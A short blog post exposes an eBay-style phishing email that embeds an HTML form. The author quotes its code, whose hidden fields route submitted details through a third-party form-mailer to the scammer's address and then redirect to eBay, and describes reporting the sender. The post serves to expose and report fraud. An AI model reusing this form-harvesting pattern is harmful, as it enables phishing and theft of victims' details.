My god… never thought a spammer would be this stupid.
Okay, we’ve all heard of phishing I’m sure… and unfortunately in this day & age, it’s nothing unusual. However, normally it involves clicking a link, which takes you to a website where you enter your precious details.
Not this one. This one is the first I’ve seen of its kind. Here’s a screenshot of the offending email. Update 20080325 — I lost the screenshot in an upgrade of the blogging software (yes, foolish me)
It’s a form. Okay, pretty smart you say… It would be, had the individual not used his/her email address in one of the hidden fields of the form. It in fact, uses a form-mailing script, and emails the form to the scammer’s email address. Here’s the relevant snippet of code (note, this is in quoted-printable encoding, I can’t be arsed fixing that.):
<FORM name=3Dform1
action=3Dhttp://webtools.snip.net/FormHandler.ashx method=3Dpost
target=3D_blank><INPUT type=3Dhidden value=3Dssconturi@yahoo.com
name=3Dxto> <INPUT type=3Dhidden value=3DAPACHE name=3Dxfrom> <INPUT
type=3Dhidden value=3DUSER name=3Dxsubject> <INPUT type=3Dhidden
value=3Dhttp://pages.ebay.com/services/buyandsell/welcome.html
name=3Dxredirect>
Notice the user’s email address? A nice letter went out to Yahoo today, as well as the ISP where the email originated, and the tech support for Snip.net, and hopefully they’ll act on this.
For those thinking of trying this sort of stunt… forget it. I seem to have a real habit of accidentally forwarding such emails to spoof@<company>… and they don’t like it when they hear someone impersonating them. For those who have received such an email… have a look on the company’s real website for places where to report the spammer.